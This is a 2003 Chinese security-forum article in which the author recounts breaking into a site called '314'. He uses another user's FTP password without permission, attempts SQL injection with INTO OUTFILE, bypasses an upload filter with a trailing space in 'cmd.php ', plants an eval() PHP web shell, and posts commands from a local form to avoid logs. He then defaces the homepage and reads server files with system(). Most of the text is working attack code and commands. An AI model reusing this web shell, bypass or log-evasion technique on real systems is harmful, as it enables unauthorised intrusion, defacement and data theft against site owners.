会员: 密码:  免费注册 | 忘记密码 | 会员登录 网页功能: 加入收藏 设为首页 网站搜索  
 安全技术技术文档
  · 安全配制
  · 工具介绍
  · 黑客教学
  · 防火墙
  · 漏洞分析
  · 破解专题
  · 黑客编程
  · 入侵检测
 安全技术论坛
  · 安全配制
  · 工具介绍
  · 防火墙
  · 黑客入侵
  · 漏洞检测
  · 破解方法
  · 杀毒专区
 安全技术工具下载
  · 扫描工具
  · 攻击程序
  · 后门木马
  · 拒绝服务
  · 口令破解
  · 代理程序
  · 防火墙
  · 加密解密
  · 入侵检测
  · 攻防演示
安全防线 > 漏洞分析
很简单的攻击 - 314被黑全过程
发表日期:2003-08-18 00:00:00作者: 出处:  

314被黑全过程

漏洞在文件上传的功能

本来没打算要黑的,但是因为他们开了FTP服务器,而其中一个用户的密码我又刚好知

道,所以就把他们主页上论坛的代码偷出来看了一下,mySQL的处理不很严密,$id之类

的变量都没有加引号,普通的字符串加了引号但是没有用mysql_escape_string处理,

我一开始就朝这个方向努力。有一个地方是这样写的:

$result=mysql_query("select * from article where flag='' and id="

         .$father,$db);

我在一片id是347贴子里面写了个PHP,然后我post了这么一个father:

347 into outfile 'f:/htdocs/cmd.php'

这样就能把贴子的内容写到php里面。注意,我熟悉他们的文件系统,web文件在

"f:\htdocs\"下面我事先是知道的。

但是没有成功,我开始以为是mysql把文件的权限去掉了,过了一会儿才想起来一定是

他们的php.ini里面设置了

magic_quotes_gpc=On

这样引号到了php脚本里面就自动加上了反斜杠,这么基本的概念我忘了,惭愧惭愧

于是我认为他们的论坛是无懈可击的,但是后来我注意到论坛上的一个上传的功能。我

试了一下,禁止了.php的上传,我觉得没有漏洞,但是出于好奇,我把它处理上传的

php拿下来看了一下,最关键的代码是这样的:

else if (file_exists("upload/".$file_name))

 $upload_error="已经存在一个叫$file_name 的文件。";

else if (strtolower(substr($file_name,-4))==".php")

 $upload_error="不能上传.php 文件。";

else if (preg_match("/\//i",$file_name)) $upload_error="你在干什么?";

else if (!copy($file,"upload/".$file_name)) $upload_error="原因不明。";

看起来判断很严密,因为在windows文件系统里面,最后一个字符是不能为空格的(相

应的材料可以在linux处理vfat的那个模块里面查到)。但是作者没有用

is_upload_file来判断,这个漏洞很久远了,我试了下面的命令:

upload.php?file_name=a.txt&file=c:/autoexec.bat

autoexec.bat就可以用浏览器看见了。我觉得不知足,上传了一个instruction.txt的

文件,文件内容如下:

<?php error_reporting (E_ALL ^ E_NOTICE); eval(StripSlashes($cmd)); ?>

这个文件可以用来执行任何的php命令。我用了这样一个命令:

upload.php?file_name=cmd.php%20&file="f:/htdocs/weed/upload/instruction.txt

作者提示了上传以后文件的位置,所以我很容易知道我传上去的instruction.txt的绝

对路径。注意这里我在cmd.php后面加了一个空格,骗过了作者的php脚本,copy函数

忠实的为我服务了。

这样cmd.php就已经在服务器上了。为了用POST从而不在他们服务器的log里面留下痕

迹,我又在本地写了这样一个html(事实上上面的upload.php的攻击也应该用POST):

<form method="post" action="http://xxx/weed/upload/cmd.php">

<input name="cmd" type="input" style="{width:400}" />

<input type="submit" value="go" />

</form>

然后就是直接发命令了,我先上传了一个我自己的首页,然后依次在我自己的html的文

本框里面输入以下内容再post上去:

rename("f:/htdocs/index.php", "f:/htdocs/index.old.php");

rename("f:/htdocs/weed/upload/mypage.html", "f:/htdocs/index.html");

好了,首页已经被改掉了。然后就是很老套了,服务器上有了后门,操作就容易了:

system("dir c:\\");

这个列出了服务器上c:\下面的文件

system("type f:\\htdocs\\weed\\forum.php");

这个列出了论坛的一个PHP的源码。

忠告:做大站点很难保证代码没有一点问题,但是要注意的是,即使是很小的一个漏

洞,也可能可以毁了整个站点。

wuxinan@wuxinan.net

ATP

攻击方法都是很老套的了,可以自由转载

返回顶部】 【打印本页】 【关闭窗口

关于我们 / 给我留言 / 版权举报 / 意见建议 / 网站编程QQ群   
Copyright ©2003- 2024 Lihuasoft.net webmaster(at)lihuasoft.net 加载时间 0.0017